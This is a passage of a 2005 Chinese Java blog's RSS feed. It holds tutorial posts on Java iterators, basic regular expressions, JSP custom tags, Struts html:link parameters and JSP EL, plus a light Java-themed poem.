R>void&nbsp;remove(&nbsp;)&nbsp;从列表中删除当前元素。如果remove(&nbsp;)方法在next(&nbsp;)方法或previous(&nbsp;)方法调<BR>用之前被调用，则引发一个IllegalStateException异常<BR>void&nbsp;set(Object&nbsp;obj)&nbsp;将obj赋给当前元素。这是上一次调用next(&nbsp;)方法或previous(&nbsp;)方法最后返回的<BR>元素<BR>15.4.1&nbsp;使用迭代函数<BR>在通过迭代函数访问类集之前，必须得到一个迭代函数。每一个Collection类都提供一<BR>个iterator(&nbsp;)函数，该函数返回一个对类集头的迭代函数。通过使用这个迭代函数对象，可<BR>以访问类集中的每一个元素，一次一个元素。通常，使用迭代函数循环通过类集的内容，<BR><BR>步骤如下：<BR>1.&nbsp;通过调用类集的iterator(&nbsp;)方法获得对类集头的迭代函数。<BR>2.&nbsp;建立一个调用hasNext(&nbsp;)方法的循环，只要hasNext(&nbsp;)返回true，就进行循环迭代。<BR>3.&nbsp;在循环内部，通过调用next(&nbsp;)方法来得到每一个元素。<BR>对于执行List的类集，也可以通过调用ListIterator来获得迭代函数。正如上面解释的那<BR>样，列表迭代函数提供了前向或后向访问类集的能力，并可让你修改元素。否则，ListIterator<BR>如同Iterator功能一样。<BR>这里是一个实现这些步骤的例子，说明了Iterator和ListIterator。它使用ArrayList对象，<BR>但是总的原则适用于任何类型的类集。当然，ListIterator只适用于那些实现List接口的类集。<BR>//&nbsp;Demonstrate&nbsp;iterators.<BR>import&nbsp;java.util.*;<BR>class&nbsp;IteratorDemo&nbsp;{<BR>public&nbsp;static&nbsp;void&nbsp;main(String&nbsp;args[])&nbsp;{<BR>//&nbsp;create&nbsp;an&nbsp;array&nbsp;list<BR>ArrayList&nbsp;al&nbsp;=&nbsp;new&nbsp;ArrayList();<BR>//&nbsp;add&nbsp;elements&nbsp;to&nbsp;the&nbsp;array&nbsp;list<BR>al.add("C");<BR>al.add("A");<BR>al.add("E");<BR>al.add("B");<BR>al.add("D");<BR>al.add("F");<BR>//&nbsp;use&nbsp;iterator&nbsp;to&nbsp;display&nbsp;contents&nbsp;of&nbsp;al<BR>System.out.print("Original&nbsp;contents&nbsp;of&nbsp;al:&nbsp;");<BR>Iterator&nbsp;itr&nbsp;=&nbsp;al.iterator();<BR>while(itr.hasNext())&nbsp;{<BR>Object&nbsp;element&nbsp;=&nbsp;itr.next();<BR>System.out.print(element&nbsp;+&nbsp;"&nbsp;");<BR>}<BR>System.out.println();<BR>//&nbsp;modify&nbsp;objects&nbsp;being&nbsp;iterated<BR>ListIterator&nbsp;litr&nbsp;=&nbsp;al.listIterator();<BR>while(litr.hasNext())&nbsp;{<BR>Object&nbsp;element&nbsp;=&nbsp;litr.next();<BR>litr.set(element&nbsp;+&nbsp;"+");<BR>}<BR>System.out.print("Modified&nbsp;contents&nbsp;of&nbsp;al:&nbsp;");<BR>itr&nbsp;=&nbsp;al.iterator();<BR>while(itr.hasNext())&nbsp;{<BR>Object&nbsp;element&nbsp;=&nbsp;itr.next();<BR>System.out.print(element&nbsp;+&nbsp;"&nbsp;");<BR>}<BR>System.out.println();<BR>314&nbsp;第2&nbsp;部分Java&nbsp;库<BR>//&nbsp;now,&nbsp;display&nbsp;the&nbsp;list&nbsp;backwards<BR>System.out.print("Modified&nbsp;list&nbsp;backwards:&nbsp;");<BR>while(litr.hasPrevious())&nbsp;{<BR>Object&nbsp;element&nbsp;=&nbsp;litr.previous();<BR>System.out.print(element&nbsp;+&nbsp;"&nbsp;");<BR>}<BR>System.out.println();<BR>}<BR>}<BR>程序的输出如下所示：<BR>Original&nbsp;contents&nbsp;of&nbsp;al:&nbsp;C&nbsp;A&nbsp;E&nbsp;B&nbsp;D&nbsp;F<BR>Modified&nbsp;contents&nbsp;of&nbsp;al:&nbsp;C+&nbsp;A+&nbsp;E+&nbsp;B+&nbsp;D+&nbsp;F+<BR>Modified&nbsp;list&nbsp;backwards:&nbsp;F+&nbsp;D+&nbsp;B+&nbsp;E+&nbsp;A+&nbsp;C+<BR>特别值得注意的是：列表是如何被反向显示的。在列表被修改之后，litr指向列表的末<BR>端（记住，当到达列表末端时，litr.hasNext(&nbsp;)方法返回false）。为了以反向遍历列表，程序<BR>继续使用litr，但这一次，程序检测它是否有前一个元素。只要它有前一个元素，该元素就<BR>被获得并被显示出来。<BR></FONT><img src ="http://www.blogjava.net/chinajox/aggbug/16870.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-26 15:27 <a href="http://www.blogjava.net/chinajox/articles/16870.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>正则表达式的基本用法 zt </title><link>http://www.blogjava.net/chinajox/articles/16868.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Wed, 26 Oct 2005 07:25:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/16868.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/16868.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/16868.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/16868.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/16868.html</trackback:ping><description><![CDATA[<FONT size=2>作者：双面人<BR><BR>1、“.”为通配符，表示任何一个字符，例如：“a.c”可以匹配“anc”、“abc”、“acc”；<BR>2、“[]”，在[]内可以指定要求匹配的字符，例如：“a[nbc]c”可以匹配“anc”、“abc”、“acc；<BR>但不可以匹配“ancc”,a到z可以写成[a-z],0到9可以写成[0-9];<BR><BR>3、数量限定符号，表示匹配次数（或者叫做长度）的符号：<BR><BR>包括：“*”——0次或者多次<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“+”——1次或者多次<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“?”——0次或者1次<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“{n}”——匹配n次，n为整数<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“{n,m}”——匹配从n到m之间的某个数的次数；n和m都是整数；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“{n,}”——匹配n到无穷次之间任意次数；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“{,m}”——匹配0到m之间任意次数；<BR>他们放到匹配格式的后面：<BR>例如：<BR>电话号码：024－84820482，02484820482(假设前面3或者4位，后面7或者8位，并且中间的减号可有可无)<BR><BR>都是符合规定的，那么可以用如下格式来匹配：[0-9]{3,4}&nbsp;\-?&nbsp;[0-9]{7,8}；<BR>注意：“\”为转义字符，因为“-”在正则表达式用有代表一个范围的意义，例如：前面所说的[0-9]，<BR>所以它需要转义字符“\”进行转义才可使用；<BR><BR>4、“^”为否符号，表示不想匹配的符号，例如：[^z][a-z]+可以匹配所有除“z”开头的以外的所有字<BR><BR>符串（长度大于2，因为“+”表示大于等于1的次数，从第二位开始都是小写英文字符）；<BR>如果^放到[]的外边则表示以[]开头的字符串；^[az][a-z]+表示a或者z开头的长度大于等于2的英文字符串；<BR><BR>5、“|”或运算符，例如：a[n|bc|cb]c可以匹配“abcc”,“anc”,“acbc”；<BR>6、“$”以它前面的字符结尾的；例如：ab+$就可以被“abb”，“ab”匹配；<BR><BR>7、一些简单表示方法：<BR>\d表示[0-9];\D表示[^0-9];\w表示[A-Z0-9];\W表示[^A-Z0-9];\s表示[\t\n\r\f],就是空格字符包括tab，空格等等;\S表示[^\t\n\r\f]，就是非空格字符;</FONT><img src ="http://www.blogjava.net/chinajox/aggbug/16868.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-26 15:25 <a href="http://www.blogjava.net/chinajox/articles/16868.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自定义标签总结（原创）</title><link>http://www.blogjava.net/chinajox/articles/16601.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Mon, 24 Oct 2005 08:58:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/16601.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/16601.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/16601.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/16601.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/16601.html</trackback:ping><description><![CDATA[<P>发布人：小菜鸟<BR><BR>自定义标签心得：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1显示页面（jsp）：<%@ taglib uri="/helloworld" prefix="mytag" %><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2web.xml:&nbsp;&nbsp;&nbsp; <TAGLIB><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <TAGLIB-URI>/helloworld</TAGLIB-URI><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <TAGLIB-LOCATION>/WEB-INF/helloworld.tld</TAGLIB-LOCATION><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </TAGLIB></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3helloword.tld文件<BR><?xml version="1.0" encoding="UTF-8"?><BR>
<P>&nbsp;&nbsp; "<A href="http://java.sun.com/dtd/web-jsptaglibrary_1_2.dtd">http://java.sun.com/dtd/web-jsptaglibrary_1_2.dtd</A>"&gt;</P>
<P><TAGLIB></P>
<P>&nbsp;&nbsp; <TLIB-VERSION>1.0</TLIB-VERSION></P>
<P>&nbsp;&nbsp; <JSP-VERSION>1.2</JSP-VERSION></P>
<P>&nbsp;&nbsp; <SHORT-NAME>untitled1</SHORT-NAME></P>
<P>&nbsp;&nbsp; <TAG></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <NAME>helloworld</NAME></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <TAG-CLASS>untitled1.HelloWorldTag</TAG-CLASS></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BODY-CONTENT>empty</BODY-CONTENT></P>
<P>&nbsp;&nbsp; </TAG></P>
<P></TAGLIB></P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4新建java文件模型：<BR>package untitled1;</P>
<P><BR>import java.io.IOException;</P>
<P>import javax.servlet.jsp.*;<BR>import javax.servlet.jsp.tagext.TagSupport;<BR>import javax.servlet.jsp.PageContext;<BR>import javax.servlet.jsp.JspWriter;<BR>import javax.servlet.jsp.JspException;<BR>import javax.servlet.http.HttpSession;</P>
<P><BR>public class HelloWorldTag extends TagSupport {</P>
<P>&nbsp; public HelloWorldTag() {</P>
<P>&nbsp; }</P>
<P>&nbsp; public int doStartTag() throws JspTagException{<BR>&nbsp; JspWriter out=pageContext.getOut();<BR>&nbsp;&nbsp;&nbsp; return EVAL_BODY_INCLUDE;</P>
<P>&nbsp; }</P>
<P>&nbsp; public int doEndTag() throws JspTagException{</P>
<P><BR>&nbsp;&nbsp;&nbsp; return EVAL_PAGE;</P>
<P>&nbsp; }</P>
<P>}</P>
<P><BR>自定义标签参数总结：</P>
<P>java文件加入：<BR>&nbsp; private String parm1=null;<BR>&nbsp;&nbsp;&nbsp;&nbsp; public void setParm1(String parm1)<BR>&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp; this.parm1 = parm1;<BR>&nbsp;}<BR>tld文件加入：<BR>&nbsp;&nbsp; <ATTRIBUTE><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <NAME>parm3</NAME><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <REQUIRED>false</REQUIRED><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <RTEXPRVALUE>false</RTEXPRVALUE><BR>&nbsp;&nbsp;&nbsp; </ATTRIBUTE></P>
<P>&nbsp;</P><img src ="http://www.blogjava.net/chinajox/aggbug/16601.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-24 16:58 <a href="http://www.blogjava.net/chinajox/articles/16601.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于&lt;html:link&gt;标签在URI后面传参数的问题</title><link>http://www.blogjava.net/chinajox/articles/16573.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Mon, 24 Oct 2005 06:24:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/16573.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/16573.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/16573.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/16573.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/16573.html</trackback:ping><description><![CDATA[<P>发布人：小菜鸟<BR><BR>关于<?xml:namespace prefix = html /><html:link>标签在URI后面传参数的问题<BR>&nbsp;&nbsp;&nbsp; 用了一年多的struts了，对于一些常用的标签还是比较熟悉的。将在今后慢慢做一些总结，把自己的一些经验和大家分享，也以此抛砖引玉，希望能得到大家的高明见解。说的不对的地方请大家指正！<BR>在struts标签<html:link>的page属性指定的URI后面传递参数可以有几种方式：</P>
<P>1.若明确参数名和参数值则直接在URI后输出，<BR>如：<html:link page="/test.do?action=add">add</html:link></P>
<P>2.对于参数值不确定的，paramName和paramProperty来输出，用paramId属性指定参数名。<BR>对于paramName指定的对象应该存在于page、request、session、application其中之一。一般来说，是从Action类传过来的，作为request的属性之一（requst.setAttribute("name",object)）。<BR>如果paramName指定的对象是action的ActionForm，则无需使用request.setAttribute方法。<BR>例：<html:link page="/test.do" paramName="uid" paramId="userid">uname</html:link><BR>若参数值是一个bean对象的属性值（比如ActionForm,或者集合中存放的对象）则：<BR><html:link page="/test.do" paramName="user" paramId="userid" paramProperty="uid">uname</html:link></P>
<P>3.若两个参数，一个确定一个不确定，则是以上两种方法的结合，即：<BR><html:link page="/test.do?action=modify" paramName="uid" paramId="userid">modify</html:link></P>
<P>4.对于多个参数的问题，可以使用一个HashMap集合对象来存放所有的参数名及对应的参数值的方式，paramName属性值指定为该HashMap集合对象即可。<BR>举例：<BR><%<BR>//代码理想的位置应该是在action中<BR>//可以在jsp页面测试<BR>  java.util.HashMap pms = new java.util.HashMap();<BR>  pms.put("code", "001002");<BR>  pms.put("name", "tester");<BR>  pms.put("alias", new String[]{"matin","jack"});<BR>  request.setAttribute("params", pms);<BR>%><BR><html:link name="params" action="/test.do">test</html:link><BR>编译后的结果：<A href="/test.do?code=001002&amp;name=tester&amp;alias=matin&amp;alias=jack">test</A><BR>这种方式虽然可以解决传多参数的问题，但是实现起来也比较麻烦，特别是对记录集中的数据逐条列出的时候</P>
<P>5.针对有的网友在<html:link>标签中嵌入使用jsp脚本(scriptlet)的问题，<BR>例如:<BR><html:link page="/test.do?code=<%=varible%>">add</html:link>，这种写法是错误的，是无法编译的。<BR>有的网友认为在struts标签内是不允许使用jsp脚本的，这种说法也不准确。如果前面的写法改成:<BR><html:link page="<%=" test.do?code="+varible%>">add</html:link>，就可以被执行，但是要注意URL相对路径的问题。</P>
<P>虽然在struts标签中嵌入jsp脚本不是真正意义上的struts应用，但是有时在委曲求全的情况下也只能如此了，除非使用自定义标签。比如在form表单中可能需要根据具体数据让某个字段是只读的，就可以用嵌入jsp脚本来实现：<BR><%<BR>boolean rdonly=false;<BR>if(2==2) rdonly=true;<BR>%><BR><html:text readonly="<%=rdonly%>" property="userid"></html:text><BR>（题外话，呵呵）</P>
<P>6.另外一种比较变态的方法，既不是真正意义上的struts，也不符合xml规范。那就是在<A>标签中用<?xml:namespace prefix = bean /><bean:write>标签输出参数值。<BR>如：<A href="test.do?uid=<bean:write name=" property="userid" user?>&amp;name=<bean:write name="user" property="username"></bean:write>"&gt;test</A><BR>（偶经常这样用，哈哈，简单！）</P>
<P>先说这么多吧，有更好的方法再来补充！</P>
<P>&nbsp;</P></bean:write></html:link></html:link></html:link><img src ="http://www.blogjava.net/chinajox/aggbug/16573.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-24 14:24 <a href="http://www.blogjava.net/chinajox/articles/16573.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JSP中　${}　的理解</title><link>http://www.blogjava.net/chinajox/articles/16533.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Mon, 24 Oct 2005 01:55:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/16533.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/16533.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/16533.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/16533.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/16533.html</trackback:ping><description><![CDATA[<P>发布人：时时</P>
<P>表达式语言 <BR>在 JSP 1.2 中，可以使用静态字符串或表达式（如果允许的话）指定 JSP 操作的属性。例如，在清单 2 中，对 <?xml:namespace prefix = jsp /><jsp:setProperty>操作的 name 和 property 属性指定了静态值，而用表达式指定了其 value 属性。这个操作的效果是将请求参数的当前值赋予命名的 bean 特性。以这种形式使用的表达式被称为请求时属性值（request-time attribute value），这是构建到 JSP 规范中的用于动态指定属性值的唯一机制。 </P>
<P>清单 2. 合并请求时属性值的 JSP 操作&nbsp; <BR><jsp:setProperty name="user" property="timezonePref" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value='<%= request.getParameter("timezone") %>'/&gt; <BR>&nbsp;</P>
<P><BR>因为请求时属性值是用表达式指定的，所以它们往往有和其它脚本元素一样的软件维护问题。因此，JSTL 定制标记支持另一种用于指定动态属性值的机制。可以用简化的表达式语言（EL）而不使用完整的 JSP 表达式来指定 JSTL 操作的属性值。EL 提供了一些标识符、存取器和运算符，用来检索和操作驻留在 JSP 容器中的数据。EL 在某种程度上以 EcmaScript（请参阅参考资料）和 XML 路径语言（XML Path Language，XPath）为基础，因此页面设计人员和程序员都应该熟悉它的语法。EL 擅长寻找对象及其特性，然后对它们执行简单操作；它不是编程语言，甚至不是脚本编制语言。但是，与 JSTL 标记一起使用时，它就能使用简单而又方便的符号来表示复杂的行为。EL 表达式的格式是这样的：用美元符号（$）定界，内容包括在花括号（{}）中，如清单 3 所示。 </P>
<P>清单 3. 说明 EL 表达式定界符的 JSTL 操作&nbsp; <BR><CUT value="${user.firstName}" /><BR>&nbsp;<BR></P></jsp:setProperty></jsp:setProperty><img src ="http://www.blogjava.net/chinajox/aggbug/16533.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-24 09:55 <a href="http://www.blogjava.net/chinajox/articles/16533.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>工欲善其事  必先利其器</title><link>http://www.blogjava.net/chinajox/articles/15712.html</link><dc:creator>JAVA牛棚</dc:creator><author>JAVA牛棚</author><pubDate>Mon, 17 Oct 2005 06:46:00 GMT</pubDate><guid>http://www.blogjava.net/chinajox/articles/15712.html</guid><wfw:comment>http://www.blogjava.net/chinajox/comments/15712.html</wfw:comment><comments>http://www.blogjava.net/chinajox/articles/15712.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/chinajox/comments/commentRss/15712.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chinajox/services/trackbacks/15712.html</trackback:ping><description><![CDATA[Java告诉我说：世间万物皆为对象！<BR>于是，我不断的在互联网Search，以更新我的QQ列表；<BR><BR>然后以代码重构技术重写着那一经典：Hello！<BR>终于，当我在QQ的多线程间频繁切换时，我以为，我已经持有了对象。<BR>但一天，<BR>某Class对我说：你不是我的对象！<BR>这一刻，<BR>我心头只有一种多态感受：这种异常应该在执行期前得以清理。<BR>所以，我至今仍象没有分配到执行权饥饿的线程，<BR>苦苦思索生活与设计的模式；<BR>直到我领悟到Java的通用哲学：<BR>  工欲善其事<BR>  必先利其器<img src ="http://www.blogjava.net/chinajox/aggbug/15712.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chinajox/" target="_blank">JAVA牛棚</a> 2005-10-17 14:46 <a href="http://www.blogjava.net/chinajox/articles/15712.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>